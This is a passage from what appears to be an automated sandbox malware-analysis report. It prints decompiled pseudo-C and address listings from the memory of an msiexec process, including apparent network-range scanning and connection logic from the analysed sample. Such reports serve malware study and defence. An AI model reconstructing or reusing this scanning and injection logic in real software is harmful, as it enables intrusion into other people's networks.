										 *((long long*)( *((intOrPtr*)(0x38203a)) - 0x4ec641ef))();
										_v648 = 0;
										memset(_t505, 0, 8 << 0);
										_t506 = _t505 + 8;
										_v1004 =  &_v660;
										_v1012 =  &_v972;
										_v1020 = 0;
										_v1028 = _v900;
										_v1036 = 0;
										_v1044 = 0;
										r9d = 0;
										r8b = 1;
										if( *0x00384110() == 0) {
											_v668 =  *0x00396650();
											 *((intOrPtr*)(0x3a30c8))();
											if(_v988 != 0) {
												 *((long long*)(0x38fe30))();
											}
											_v988 = 0;
											_v980 = 0;
											_v780 = 0;
											memset(_t506, 0, 8 << 0);
											_t572 =  &_v772 * 0;
											 *((long long*)(_t834 + _t572 + 0x128)) = _v976;
											 *((long long*)(_t834 + _t572 + 0x128)) = _v984;
											r9d = 0x7530;
											r8d = 0;
											_v896 =  *((long long*)( *((intOrPtr*)(0x382323)) + 0x154e18))();
											 *((long long*)( *((intOrPtr*)(0x38203a)) - 0x4ec641ef))();
											 *((long long*)( *((intOrPtr*)(0x38203a)) - 0x4ec641ef))();
											 *((long long*)( *((intOrPtr*)(0x38203a)) - 0x4ec641ef))();
											 *((long long*)( *((intOrPtr*)(0x38203a)) - 0x4ec641ef))();
											if(_v896 != 0) {
												_t387 = 0;
											} else {
												_t387 = 1;
											}
										} else {
											if(_v988 != 0) {
												 *((long long*)(0x38fe30))();
											}
											_v988 = 0;
											_v980 = 0;
											 *((long long*)( *((intOrPtr*)(0x38203a)) - 0x4ec641ef))();
											 *((long long*)( *((intOrPtr*)(0x38203a)) - 0x4ec641ef))();
											 *((long long*)( *((intOrPtr*)(0x38203a)) - 0x4ec641ef))();
											_t387 = 0;
										}
									} else {
										if(_v976 != 0) {
											 *((long long*)(0x38fe30))();
										}
										_v976 = 0;
										_v968 = 0;
										 *((long long*)( *((intOrPtr*)(0x38203a)) - 0x4ec641ef))();
										 *((long long*)( *((intOrPtr*)(0x38203a)) - 0x4ec641ef))();
										 *((long long*)( *((intOrPtr*)(0x38203a)) - 0x4ec641ef))();
										 *((long long*)( *((intOrPtr*)(0x38203a)) - 0x4ec641ef))();
										_t387 = 0;
									}
								} else {
									if(_v976 != 0) {
										 *((long long*)(0x38fe30))();
									}
									_v976 = 0;
									_v968 = 0;
									 *((long long*)( *((intOrPtr*)(0x38203a)) - 0x4ec641ef))();
									 *((long long*)( *((intOrPtr*)(0x38203a)) - 0x4ec641ef))();
									 *((long long*)( *((intOrPtr*)(0x38203a)) - 0x4ec641ef))();
									 *((long long*)( *((intOrPtr*)(0x38203a)) - 0x4ec641ef))();
									_t387 = 0;
								}
								goto L80;
							}
							if(_v964 != 0) {
								 *((long long*)(0x38fe30))();
							}
							_v964 = 0;
							_v956 = 0;
							 *((long long*)( *((intOrPtr*)(0x38203a)) - 0x4ec641ef))();
							 *((long long*)( *((intOrPtr*)(0x38203a)) - 0x4ec641ef))();
							 *((long long*)( *((intOrPtr*)(0x38203a)) - 0x4ec641ef))();
							 *((long long*)( *((intOrPtr*)(0x38203a)) - 0x4ec641ef))();
							_t387 = 0;
						} else {
							if(_v964 != 0) {
								 *((long long*)(0x38fe30))();
							}
							_v964 = 0;
							_v956 = 0;
							 *((long long*)( *((intOrPtr*)(0x38203a)) - 0x4ec641ef))();
							 *((long long*)( *((intOrPtr*)(0x38203a)) - 0x4ec641ef))();
							 *((long long*)( *((intOrPtr*)(0x38203a)) - 0x4ec641ef))();
							_t387 = 0;
						}
					} else {
						 *((long long*)( *((intOrPtr*)(0x38203a)) - 0x4ec641ef))();
						_t387 = 0;
					}
					goto L80;
				} else {
					_t387 = 0;
					L80:
					return _t387;
				}
			}

0x00396700
0x00396705
0x0039670b
0x00396714
0x0039672e
0x0039672e
0x0039674a
0x0039676c
0x00396771
0x003967a7
0x003967b3
0x003967bb
0x003967bd
0x003967cd
0x003967ef
0x003967f9
0x00396813
0x00396813
0x00396813
0x00396822
0x0039683a
0x0039683c
0x0039684d
0x00396856
0x0039686e
0x0039686e
0x0039686e
0x0039688a
0x003968a5
0x003968c5
0x003968ce
0x003968d7
0x003968e0
0x003968fd
0x0039692a
0x0039692c
0x00396937
0x00396bd6
0x003968ed
0x003968f6
0x00000000
0x003968f6
0x00396944
0x0039694a
0x0039694d
0x00396954
0x00396956
0x00396984
0x0039698c
0x00396994
0x0039699c
0x003969c0
0x00396a28
0x00396a38
0x00396a40
0x00396a5a
0x00396ac7
0x00396ac9
0x00396ae7
0x00396ae7
0x00396ae7
0x00396aee
0x00396af7
0x00396b0d
0x00396b22
0x00396b28
0x00396b3a
0x00396b53
0x00396b67
0x00396b7b
0x00396b85
0x00000000
0x00000000
0x00396b9c
0x00396ba4
0x00396bb8
0x00396bb8
0x00396bba
0x00396bc3
0x00396bcc
0x00000000
0x00396bcc
0x00396a70
0x00396a84
0x00396a98
0x00396aac
0x00000000
0x00396aac
0x003969d6
0x003969ea
0x003969fe
0x00396a12
0x00000000
0x00396a12
0x00396bdb
0x00396be4
0x00396c06
0x00396c08
0x00396c24
0x00396c2f
0x00396c37
0x00396c3e
0x00396c4f
0x00396c6d
0x00396c8a
0x00396c8c
0x00396ca9
0x00396cd9
0x00396cdb
0x00396ce6
0x00000000
0x00396cea
0x00396ca2
0x00396ca2
0x00396cf7
0x00396d0e
0x00396d0e
0x00396d15
0x00396d21
0x00396d2f
0x00396d43
0x00396d43
0x00396d45
0x00396d55
0x00396d5b
0x00396d5e
0x00396d65
0x00396d67
0x00396d95
0x00396d9d
0x00396da5
0x00396dad
0x00396dd1
0x00396e53
0x00396e63
0x00396e6b
0x00396e85
0x00396f13
0x00396f1f
0x00396f2b
0x00396f37
0x00396f55
0x00396f55
0x00396f57
0x00396f62
0x00396f87
0x00396f96
0x00396f9f
0x00396fb0
0x00396fc0
0x00396fc2
0x00396fd2
0x00396fe7
0x00397004
0x00397018
0x0039702f
0x00397046
0x00397048
0x0039705c
0x00397073
0x0039707f
0x00397086
0x0039708e
0x00397096
0x003970b1
0x003970c7
0x003970b3
0x003970b3
0x003970b3
0x003970d5
0x003970f1
0x0039710e
0x0039711e
0x00397123
0x0039713b
0x00397145
0x00397154
0x003971dd
0x00000000
0x0039715a
0x0039715a
0x0039717b
0x00397183
0x00397198
0x003971a0
0x003971a2
0x003971b3
0x00000000
0x00000000
0x003971d3
0x00000000
0x003971d3
0x00397154
0x003971eb
0x00397202
0x00397202
0x00397204
0x00397219
0x00000000
0x0039721b
0x00000000
0x0039721b
0x00397219
0x00397081
0x0039705c
0x00000000
0x00397018
0x00000000
0x00396fe9
0x00396fe9
0x00000000
0x00396fe9
0x00396fd2
0x0039722b
0x003972b9
0x003972cd
0x003972d9
0x003972f5
0x003972fa
0x00397319
0x003973b9
0x003973bb
0x003973d9
0x003973d9
0x003973f0
0x003973fa
0x003973ff
0x00397410
0x00397415
0x0039741e
0x00397427
0x0039742a
0x00397438
0x003974ca
0x003974e5
0x003974ed
0x00397501
0x00397501
0x00397503
0x0039750c
0x00397515
0x00397533
0x0039753a
0x00397543
0x00397559
0x0039756e
0x00397574
0x00397586
0x0039759f
0x003975b3
0x003975c7
0x003975de
0x003975e8
0x003975f1
0x003975ea
0x003975ea
0x003975ea
0x0039743a
0x00397440
0x00397454
0x00397454
0x00397456
0x0039745f
0x0039747a
0x0039748e
0x003974a5
0x003974a7
0x003974a7
0x0039731f
0x00397325
0x00397339
0x00397339
0x0039733b
0x00397344
0x0039735f
0x00397373
0x00397387
0x0039739e
0x003973a0
0x003973a0
0x00397231
0x00397237
0x0039724b
0x0039724b
0x0039724d
0x00397256
0x00397271
0x00397285
0x00397299
0x003972b0
0x003972b2
0x003972b2
0x00000000
0x0039722b
0x00396e91
0x00396ea5
0x00396ea5
0x00396ea7
0x00396eb0
0x00396ecb
0x00396edf
0x00396ef3
0x00396f0a
0x00396f0c
0x00396dd3
0x00396dd9
0x00396ded
0x00396ded
0x00396def
0x00396df8
0x00396e13
0x00396e27
0x00396e3b
0x00396e3d
0x00396e3d
0x003968a7
0x003968bc
0x003968be
0x003968be
0x00000000
0x0039684f
0x0039684f
0x003975f3
0x003975fb
0x003975fb

Strings

0, xrefs: 00396F9F

Memory Dump Source

Source File: 00000005.00000002.16953235081.0000000000380000.00000040.sdmp, Offset: 00380000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_380000_msiexec.jbxd

Function 000000010000A9AC, Relevance: 1.5, APIs: 1, Instructions: 19

APIs

GetVersionExW.KERNEL32 ref: 000000010000A9D2

Part of subcall function 00000001000170F0: OpenFileMappingW.KERNELBASE ref: 000000010001710A
Part of subcall function 00000001000170F0: MapViewOfFile.KERNEL32 ref: 0000000100017136
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 000000010001717E
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 00000001000171AD

Memory Dump Source

Source File: 00000005.00000002.16984227368.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000002.16984163757.0000000100000000.00000002.sdmp
Associated: 00000005.00000002.16984503497.000000010001A000.00000008.sdmp
Associated: 00000005.00000002.16984573059.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_100000000_msiexec.jbxd

Function 000000010001729C, Relevance: 1.5, APIs: 1, Instructions: 6

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00000001000172A7

Memory Dump Source

Source File: 00000005.00000002.16984227368.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000002.16984163757.0000000100000000.00000002.sdmp
Associated: 00000005.00000002.16984503497.000000010001A000.00000008.sdmp
Associated: 00000005.00000002.16984573059.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_100000000_msiexec.jbxd

Function 00394B90, Relevance: 1.5, Strings: 1, Instructions: 236
Crypto

C-Code - Quality: 22%

			E00394B90(void* __edx, void* __eflags, void* __rax) {
				void* _t58;
				void* _t61;
				void* _t87;
				void* _t101;
				long long* _t122;
				long long* _t128;
				long long* _t134;
				long long* _t146;
				long long* _t148;
				long long* _t198;
				long long* _t199;
				long long* _t204;
				void* _t207;
				void* _t208;
				void* _t214;
				void* _t215;
				long long* _t219;

				E0039A630(_t87, __edx, __rax, _t214, _t215);
				_t208 = _t207 - __rax;
				_t122 = 0x39d3b8;
				 *((long long*)(_t208 + 0x24e8)) = 0x3975df;
				 *0x295c7fe7();
				_t198 =  *0x00382283 - 0x4815a4ec;
				 *((long long*)(_t208 + 0x20)) = _t198;
				 *_t198();
				if(0x3975df != 0) {
					 *0xFFFFFFFFF806B4C0();
				}
				 *0x00394260();
				 *_t198();
				_t199 = _t122;
				if(_t122 != 0) {
					 *0x003943D0();
				}
				if(_t199 == 0) {
					 *((long long*)(0x394260))();
					_t148 = _t122;
					_t122 =  *0x003819F0 + 0x148a6;
					 *_t122();
					_t199 = _t122;
					if(_t148 != 0) {
						_t122 = 0x3943d0;
						 *((long long*)(0x3943d0))();
					}
				}
				r9d = 1;
				r8d = 0;
				 *0x12b74577();
				 *((long long*)(_t208 + 0x24d8)) = _t122;
				_t204 = _t122;
				if(_t122 == 0) {
					_t7 = _t122 + 1; // 0x1
					r9d = _t7;
					r8d = 0;
					 *0x12b74577();
					_t204 = _t122;
					 *((long long*)(_t208 + 0x24d8)) = _t122;
				}
				r9d = 1;
				r8d = 0;
				 *0x003921B0();
				_t219 = _t122;
				if(_t122 == 0) {
					_t9 = _t122 + 1; // 0x1
					r9d = _t9;
					r8d = 0;
					 *((long long*)(0x3921b0))();
					_t219 = _t122;
				}
				 *0xFFFFFFFFD1CC0086();
				if(0x382c40 == 0xffffffff) {
					L31:
					_t58 = 0;
					goto L32;
				} else {
					r8d = 0x234;
					E00385A30();
					 *((intOrPtr*)(_t208 + 0x30)) = 0x238;
					 *0x00381CA0();
					_t128 =  *0x00382EE3 - 0x7a04349f;
					 *((long long*)(_t208 + 0x24e0)) = _t128;
					while(1) {
						_t61 =  *_t128();
						r8d =  *((intOrPtr*)(_t208 + 0x38));
						if(r8d == _t61) {
							goto L25;
						}
						_t134 =  *0x0038263A + 0xa4843;
						 *_t134();
						if(_t134 == 0) {
							goto L25;
						}
						if( *0x00392890() == 0) {
							 *(_t208 + 0x24d0) = 0;
							r8d = 0x2000;
							E00385A30();
							r8d = 0x2000;
							if( *_t204() == 0) {
								L24:
								 *((long long*)( *0x0038203A - 0x4ec641ef))();
								goto L25;
							}
							_t101 = 0;
							if(( *(_t208 + 0x24d0) & 0xfffffff8) <= 0) {
								goto L24;
							}
							asm("o16 nop [eax+eax]");
							do {
								r8d = 0x20a;
								E00385A30();
								r9d = 0x105;
								 *_t219();
								 *0x00390BC0();
								if(_t134 == 0) {
									goto L22;
								}
								 *0x00390C00();
								if( *0x0038D550() == 0x2eca438c) {
									_t146 =  *((intOrPtr*)(0x38203a)) - 0x4ec641ef;
									 *_t146();
									 *_t146();
									 *((long long*)(0x394260))();
									_t58 =  *((intOrPtr*)(_t208 + 0x20))();
									if(_t134 != 0) {
										_t58 =  *((long long*)(0x3943d0))();
									}
									L32:
									return _t58;
								}
								L22:
								_t101 = _t101 + 1;
							} while (_t101 <  *(_t208 + 0x24d0) >> 3);
							_t204 =  *((intOrPtr*)(_t208 + 0x24d8));
							goto L24;
						}
						 *((long long*)( *((intOrPtr*)(0x38203a)) - 0x4ec641ef))();
						L25:
						if( *0x00382DE0() == 0) {
							 *((long long*)( *((intOrPtr*)(0x38203a)) - 0x4ec641ef))();
							goto L31;
						}
						_t128 =  *((intOrPtr*)(_t208 + 0x24e0));
					}
				}
			}

0x00394ba2
0x00394ba7
0x00394bb1
0x00394bc1
0x00394bd0
0x00394bdd
0x00394be7
0x00394bec
0x00394bfb
0x00394c0a
0x00394c0a
0x00394c1a
0x00394c23
0x00394c25
0x00394c2b
0x00394c3a
0x00394c3a
0x00394c3f
0x00394c4f
0x00394c52
0x00394c5c
0x00394c65
0x00394c67
0x00394c6d
0x00394c75
0x00394c7b
0x00394c7b
0x00394c6d
0x00394c84
0x00394c91
0x00394c9c
0x00394c9e
0x00394ca6
0x00394cac
0x00394cae
0x00394cae
0x00394cb2
0x00394cbd
0x00394cbf
0x00394cc2
0x00394cc2
0x00394cca
0x00394cd0
0x00394cdb
0x00394cdd
0x00394ce3
0x00394ce5
0x00394ce5
0x00394ce9
0x00394cf4
0x00394cf6
0x00394cf6
0x00394d0b
0x00394d14
0x00394f62
0x00394f62
0x00000000
0x00394d1a
0x00394d21
0x00394d27
0x00394d33
0x00394d49
0x00394d52
0x00394d58
0x00394d60
0x00394d60
0x00394d62
0x00394d6a
0x00000000
0x00000000
0x00394d79
0x00394d84
0x00394d8c
0x00000000
0x00000000
0x00394da7
0x00394dc3
0x00394dce
0x00394ddc
0x00394de9
0x00394dfe
0x00394ec7
0x00394ed7
0x00000000
0x00394ed7
0x00394e04
0x00394e11
0x00000000
0x00000000
0x00394e25
0x00394e30
0x00394e3a
0x00394e40
0x00394e55
0x00394e5e
0x00394e6e
0x00394e76
0x00000000
0x00000000
0x00394e8a
0x00394ea9
0x00394f0b
0x00394f12
0x00394f17
0x00394f21
0x00394f2a
0x00394f3c
0x00394f48
0x00394f48
0x00394f64
0x00394f77
0x00394f77
0x00394eab
0x00394eb2
0x00394eb7
0x00394ebf
0x00000000
0x00394ebf
0x00394dba
0x00394ed9
0x00394ef2
0x00394f60
0x00000000
0x00394f60
0x00394ef4
0x00394ef4
0x00394d60

Strings

?c<z, xrefs: 00394D4B

Memory Dump Source

Source File: 00000005.00000002.16953235081.0000000000380000.00000040.sdmp, Offset: 00380000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_380000_msiexec.jbxd

Function 00399910, Relevance: .4, Instructions: 381
Crypto

C-Code - Quality: 30%

			E00399910(void* __edx, long long __rax, long long __rcx, long long __rdx, long long __rsi, void* __r9, long long __r12, long long __r13, long long __r14, long long __r15) {
				void* _t142;
				signed int _t162;
				void* _t170;
				signed int _t177;
				signed int _t180;
				signed int _t181;
				void* _t218;
				void* _t221;
				signed int _t223;
				void* _t224;
				signed long long _t235;
				signed long long _t236;
				long long _t240;
				signed long long _t253;
				long long _t263;
				long long* _t264;
				long long* _t266;
				signed long long _t267;
				signed long long _t274;
				signed long long _t275;
				intOrPtr _t279;
				long long _t282;
				long long _t291;
				intOrPtr* _t303;
				intOrPtr* _t304;
				signed long long _t306;
				long long* _t312;
				long long* _t314;
				long long* _t316;
				void* _t319;
				void* _t320;
				signed long long _t328;
				long long _t336;
				long long* _t339;
				long long* _t341;
				long long* _t346;
				long long* _t348;

				_t291 = __rdx;
				 *((long long*)(_t319 + 0x10)) = __rdx;
				 *((long long*)(_t319 + 8)) = __rcx;
				_t316 = _t319 - 0x100;
				_t320 = _t319 - 0x200;
				 *((long long*)(_t316 + 0x20)) = __rax;
				 *((long long*)(_t316 + 0x28)) = __rax;
				 *((long long*)(_t316 + 0x30)) = __rax;
				 *((long long*)(_t316 + 0x38)) = __rax;
				 *((long long*)(_t316 + 0x40)) = __rax;
				 *((long long*)(_t320 + 0x78)) = 0x399f50;
				 *0x00390560();
				if(0 != 0) {
					_t12 = _t291 + 0x50; // 0x50
					r8d = _t12;
					E00385A30();
					 *((long long*)(_t316 - 0x68)) = _t316 - 0x70;
					 *((long long*)(_t316 - 0x70)) = _t316 - 0x70;
					 *((long long*)( *0x003822D3 + 0x1b6396))();
					r9d = 0;
					_t235 =  *0x003811A3 + 0x22763f;
					r8d = 0;
					 *_t235();
					 *((long long*)(_t316 - 0x20)) = __rdx;
					 *(_t316 - 0x28) = _t235;
					 *((long long*)(_t316 - 0x58)) = __rcx;
					 *((intOrPtr*)(_t316 + 0x130)) = 0;
					if( *0xFFFFFFFFCFF3F670() != 0x6f) {
						goto L1;
					} else {
						 *((long long*)(_t320 + 0x1f0)) = __r12;
						 *((long long*)(_t320 + 0x1e8)) = __r13;
						 *0x28b95d53();
						 *(_t316 + 0x138) = _t235;
						_t328 = _t235;
						if(_t235 == 0) {
							L5:
							_t142 = 0;
						} else {
							_t274 = _t235;
							if( *0x00384FE0() == 0) {
								 *((long long*)(_t320 + 0x1f8)) = __rsi;
								 *((long long*)(_t320 + 0x1e0)) = __r14;
								 *((long long*)(_t320 + 0x1d8)) = __r15;
								r15d = 0;
								do {
									if( *((intOrPtr*)(_t328 + 0x1a4)) != 0x18) {
										_t37 = _t328 + 0x1b8; // 0x1b8
										_t303 = _t37;
										if(_t303 != 0) {
											_t314 =  *0x00383513 + 0x6bde;
											_t348 =  *0x003834BA + 0x314d4f;
											do {
												 *_t314();
												_t177 =  *_t348();
												_t41 = _t303 + 8; // 0x1c0
												_t274 = _t41;
												_t181 = _t177;
												 *_t314();
												_t180 =  *_t348() & _t181;
												if(_t180 != 0 && (_t180 & 0xffff0000) != 0xa9fe0000) {
													r15d = r15d + ( !_t181 | _t180) - _t180;
												}
												_t303 =  *_t303;
											} while (_t303 != 0);
										}
									}
									_t328 =  *_t328;
								} while (_t328 != 0);
								_t275 = _t274 << 4;
								 *0x0038FCB0();
								 *(_t320 + 0x60) = _t235;
								r15d = 0;
								_t236 =  *(_t316 + 0x138);
								do {
									if( *((intOrPtr*)(_t236 + 0x1a4)) != 0x18) {
										_t336 = _t236 + 0x1b8;
										 *((long long*)(_t320 + 0x58)) = _t336;
										if(_t336 != 0) {
											_t306 =  *((intOrPtr*)(0x383513)) + 0x6bde;
											_t266 =  *((intOrPtr*)(0x3834ba)) + 0x314d4f;
											 *(_t316 - 0x80) = _t306;
											 *((long long*)(_t320 + 0x50)) = _t266;
											do {
												 *_t306();
												_t162 =  *_t266();
												_t275 = _t336 + 8;
												r12d = _t162;
												 *_t306();
												_t223 =  *_t266() & r12d;
												r12d =  !r12d;
												r12d = r12d | _t223;
												if(_t223 != 0 && (_t223 & 0xffff0000) != 0xa9fe0000) {
													_t224 = _t223 + 1;
													if(_t224 < r12d) {
														_t346 =  *0x0038366A + 0x124e41;
														 *((long long*)(_t320 + 0x68)) = 0x38a5f0;
														_t339 =  *((intOrPtr*)(_t320 + 0x68));
														_t253 = 0x390730;
														 *((long long*)(_t320 + 0x70)) = 0x2a59ddaa;
														asm("o16 nop [eax+eax]");
														do {
															 *(_t320 + 0x42) = _t253;
															 *((intOrPtr*)(_t320 + 0x4a)) = 0;
															 *((short*)(_t320 + 0x4e)) = 0;
															 *((intOrPtr*)(_t320 + 0x40)) = 0x8b000002;
															 *_t266();
															r8d = 0;
															 *((intOrPtr*)(_t320 + 0x44)) = 0;
															 *_t346();
															_t267 = _t253;
															if(_t253 == 0xffffffff) {
																_t306 =  *0x00382A3A - 0x4acdf8f6;
																do {
																	 *_t306();
																	r8d = 0;
																	 *_t346();
																	_t267 = _t253;
																} while (_t253 == 0xffffffff);
															}
															asm("lock dec eax");
															_t306 = (_t306 << 4) +  *(_t320 + 0x60);
															 *_t306 = _t267;
															 *((intOrPtr*)(_t306 + 8)) =  *_t339();
															 *(_t320 + 0x30) = _t316 - 0x70;
															r9d = 0x10;
															 *(_t320 + 0x28) = _t306;
															_t275 = _t316 + 0x20;
															 *(_t320 + 0x20) = _t253;
															_t170 =  *((intOrPtr*)(_t320 + 0x70))();
															if(_t170 == 0xffffffff) {
																_t275 = _t267;
																_t253 =  *0x0038356A + 0x3b549a;
																 *_t253();
																 *_t306 = 0xffffffff;
																asm("lock dec eax");
															} else {
																if(_t170 == 0) {
																	_t275 = _t267;
																	 *( *((intOrPtr*)(0x38356a)) + 0x3b549a)();
																	r8d =  *((intOrPtr*)(_t320 + 0x44));
																	_t253 = _t316 - 0x70;
																	 *(_t320 + 0x28) = 0;
																	r9d = 0;
																	 *_t306 = 0xffffffff;
																	 *(_t320 + 0x20) = _t253;
																	 *((intOrPtr*)(_t320 + 0x78))();
																} else {
																	if(_t170 == 1) {
																		r15d = r15d + 1;
																	}
																}
															}
															_t266 =  *((intOrPtr*)(_t320 + 0x50));
															_t224 = _t224 + 1;
														} while (_t224 < r12d);
														_t336 =  *((intOrPtr*)(_t320 + 0x58));
														_t306 =  *(_t316 - 0x80);
													}
												}
												_t336 =  *_t336;
												 *((long long*)(_t320 + 0x58)) = _t336;
											} while (_t336 != 0);
											_t236 =  *(_t316 + 0x138);
										}
									}
									_t236 =  *_t236;
									 *(_t316 + 0x138) = _t236;
								} while (_t236 != 0);
								_t341 =  *(_t320 + 0x60);
								while(1) {
									_t221 = 0;
									_t218 = 0;
									if(r15d == 0) {
										break;
									}
									_t264 = _t341;
									do {
										if( *_t264 != 0xffffffff) {
											if( *0x577bce0a() -  *((intOrPtr*)(_t264 + 8)) <= 0x1e) {
												_t221 = 1;
											} else {
												_t94 = _t341 + 0x38a5f00;
												_t96 = _t275 | 0xffffffff;
												_t275 =  *_t94;
												 *_t94 = _t96;
												 *( *((intOrPtr*)(0x38356a)) + 0x3b549a)();
											}
										}
										_t218 = _t218 + 1;
										_t264 = _t264 + 0x10;
									} while (_t218 < r15d);
									if(_t221 != 0) {
										continue;
									}
									break;
								}
								 *0x00390910();
								if(_t341 != 0) {
									 *0x0038FE30();
								}
								_t304 =  *((intOrPtr*)(_t316 - 0x70));
								if(_t304 != _t316 - 0x70) {
									_t312 = 0x38fe30;
									do {
										_t279 =  *_t304;
										_t240 =  *((intOrPtr*)(_t304 + 8));
										r8d = 0x80;
										 *_t240 = _t279;
										 *((long long*)(_t279 + 8)) = _t240;
										E00385A30();
										 *0x00394260();
										_t263 = _t240;
										r9d =  *(_t304 + 0x10) & 0x000000ff;
										 *(_t320 + 0x30) =  *(_t304 + 0x13) & 0x000000ff;
										 *(_t320 + 0x28) =  *(_t304 + 0x12) & 0x000000ff;
										_t282 = _t316 + 0x50;
										 *(_t320 + 0x20) =  *(_t304 + 0x11) & 0x000000ff;
										 *0x00390D10();
										if(_t263 != 0) {
											_t282 = _t263;
											_t240 = 0x3943d0;
											 *0x5d21dc25();
										}
										 *((long long*)(_t316 - 0x10)) = _t240;
										 *((long long*)(_t316 - 8)) = _t240;
										 *((long long*)(_t316 + 0x10)) = _t240;
										 *((intOrPtr*)(_t316 - 0xc)) = 0;
										 *_t316 = _t282;
										 *((long long*)(_t316 + 0x18)) = _t282;
										 *((long long*)(_t316 + 8)) = _t316 + 0x50;
										 *0x00393560();
										 *_t312();
										_t304 =  *((intOrPtr*)(_t316 - 0x70));
									} while (_t304 != _t316 - 0x70);
								}
								 *((long long*)( *0x00381DE3 - 0x388eb91d))();
								 *((long long*)( *0x0038203A - 0x4ec641ef))();
								_t142 = 1;
							} else {
								goto L5;
							}
						}
						return _t142;
					}
				} else {
					L1:
					return 0;
				}
			}

0x00399910
0x00399910
0x00399915
0x0039991d
0x00399925
0x00399931
0x00399943
0x00399947
0x0039994e
0x00399955
0x0039995c
0x00399972
0x00399976
0x0039998b
0x0039998b
0x0039998f
0x00399998
0x003999a4
0x003999b5
0x003999be
0x003999c1
0x003999c7
0x003999d0
0x003999d2
0x003999e4
0x003999ef
0x003999f5
0x00399a04
0x00000000
0x00399a0a
0x00399a13
0x00399a1b
0x00399a31
0x00399a34
0x00399a3b
0x00399a41
0x00399a53
0x00399a53
0x00399a43
0x00399a4a
0x00399a51
0x00399a5a
0x00399a62
0x00399a6a
0x00399a72
0x00399a75
0x00399a7e
0x00399a80
0x00399a80
0x00399a8b
0x00399a9b
0x00399aa2
0x00399ab0
0x00399ab4
0x00399ab8
0x00399abb
0x00399abb
0x00399abf
0x00399ac1
0x00399ac8
0x00399aca
0x00399ae2
0x00399ae2
0x00399ae5
0x00399ae8
0x00399ab0
0x00399a8b
0x00399aed
0x00399af1
0x00399b02
0x00399b06
0x00399b09
0x00399b0e
0x00399b11
0x00399b20
0x00399b27
0x00399b2d
0x00399b34
0x00399b3c
0x00399b50
0x00399b57
0x00399b5e
0x00399b62
0x00399b67
0x00399b6b
0x00399b6f
0x00399b71
0x00399b75
0x00399b78
0x00399b80
0x00399b83
0x00399b86
0x00399b8b
0x00399ba5
0x00399baa
0x00399bc4
0x00399bcb
0x00399bd7
0x00399bdc
0x00399be2
0x00399be7
0x00399bf0
0x00399bf4
0x00399bf9
0x00399bfd
0x00399c05
0x00399c0d
0x00399c0f
0x00399c12
0x00399c1b
0x00399c1e
0x00399c25
0x00399c2e
0x00399c35
0x00399c3a
0x00399c3c
0x00399c46
0x00399c49
0x00399c4c
0x00399c35
0x00399c52
0x00399c60
0x00399c65
0x00399c6f
0x00399c7b
0x00399c80
0x00399c86
0x00399c8b
0x00399c92
0x00399c97
0x00399c9e
0x00399cf3
0x00399cf6
0x00399cfc
0x00399cfe
0x00399d05
0x00399ca0
0x00399ca2
0x00399cb5
0x00399cbe
0x00399cc0
0x00399cc5
0x00399ccb
0x00399cd4
0x00399cd7
0x00399cde
0x00399ce6
0x00399ca4
0x00399ca7
0x00399ca9
0x00399ca9
0x00399ca7
0x00399ca2
0x00399d0a
0x00399d0f
0x00399d11
0x00399d1a
0x00399d1f
0x00399d1f
0x00399baa
0x00399d23
0x00399d27
0x00399d2c
0x00399d35
0x00399d35
0x00399b3c
0x00399d3c
0x00399d3f
0x00399d46
0x00399d4f
0x00399d54
0x00399d54
0x00399d56
0x00399d5b
0x00000000
0x00000000
0x00399d5d
0x00399d60
0x00399d64
0x00399d7d
0x00399d9d
0x00399d7f
0x00399d88
0x00399d88
0x00399d88
0x00399d88
0x00399d99
0x00399d99
0x00399d7d
0x00399da2
0x00399da4
0x00399da8
0x00399daf
0x00000000
0x00000000
0x00000000
0x00399daf
0x00399dc2
0x00399dce
0x00399ddc
0x00399ddc
0x00399dde
0x00399de9
0x00399e27
0x00399e30
0x00399e30
0x00399e35
0x00399e39
0x00399e3f
0x00399e42
0x00399e4a
0x00399e52
0x00399e59
0x00399e67
0x00399e6c
0x00399e70
0x00399e74
0x00399e78
0x00399e81
0x00399e87
0x00399e90
0x00399e93
0x00399e99
0x00399e99
0x00399eaa
0x00399eae
0x00399eb2
0x00399eba
0x00399ebd
0x00399ec1
0x00399ecc
0x00399ed0
0x00399ed6
0x00399ed8
0x00399ee0
0x00399e30
0x00399efb
0x00399f0f
0x00399f19
0x00000000
0x00000000
0x00000000
0x00399a51
0x00399f48
0x00399f48
0x00399978
0x00399978
0x00399984
0x00399984

Memory Dump Source

Source File: 00000005.00000002.16953235081.0000000000380000.00000040.sdmp, Offset: 00380000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_380000_msiexec.jbxd

Function 0038A9D0, Relevance: .4, Instructions: 381
Crypto

C-Code - Quality: 42%

			E0038A9D0(signed int __ebx, void* __edx, long long __rcx, long long __rdi, long long __r9, signed int __r13, long long __r15) {
				signed char _t123;
				void* _t132;
				void* _t152;
				void* _t173;
				signed int _t174;
				void* _t175;
				void* _t176;
				signed int _t180;
				void* _t206;
				signed int _t207;
				signed int _t217;
				long long* _t227;
				long long* _t233;
				long long* _t266;
				signed int _t291;
				void* _t315;
				void* _t319;
				signed int _t324;
				void* _t331;
				void* _t334;
				void* _t335;
				long long _t353;
				long long* _t356;
				signed int _t358;
				signed int _t359;
				long long* _t363;
				long long _t366;

				_t366 = __r15;
				_t358 = __r13;
				 *((long long*)(_t334 + 0x20)) = __r9;
				 *((long long*)(_t334 + 8)) = __rcx;
				_t331 = _t334 - 0x560;
				_t335 = _t334 - 0x660;
				_t353 = __rcx;
				r14d = r8d;
				_t173 =  !=  ? 0x1d4c0 : __ebx | 0xffffffff;
				_t123 =  *0x0038FB30();
				 *(_t335 + 0x4c) = 0x1d4c0;
				_t207 = 0x1d4c0;
				if(0x1d4c0 != 0xffffffff) {
					 *((long long*)(_t335 + 0x6a0)) = __rdi;
